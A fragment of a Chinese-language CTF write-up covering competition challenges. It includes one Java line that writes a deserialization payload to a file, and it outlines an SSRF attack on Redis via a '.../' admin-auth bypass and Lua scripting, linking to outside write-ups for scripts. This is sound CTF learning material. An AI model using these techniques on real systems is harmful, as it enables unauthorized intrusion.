Files.write(bytes, new File("./payload.ser"));
接下来搭一个流量转发把payload放进去即可
CeleRace
赛中没看这道题,当时看着还是有将近十解了,十多天过去也只搜到一个wp,似乎还是不完整的
看看源码,app.js没什么价值,主要就是对用户的输入做一些处理,发送到后端接口之类的
主要逻辑在app.py里
可以通过这个接口打一个ssrf,尝试去打redis,但是这个接口要求admin,需要绕过鉴权

利用.../可以绕过鉴权使用接口

接下来可以通过lua打redis
Lua是一种轻量级脚本语言,它是用C语言编写的,跟数据库的存储过程有点类似。
在Redis从2.6版本之后,开始引入Lua脚本,也就是说,Redis可以用Lua来执行Redis命令。
这里贴个脚本用来打redis,来自https://blog.potatowo.top/2025/10/20/强网杯2025线上初赛wp/
突然又有其他事情要做,复现就到这里吧
贴篇wp
http://gensokyo.cn/2025/10/19/celerace/
PTer
赛后没有环境搭建,贴一篇博客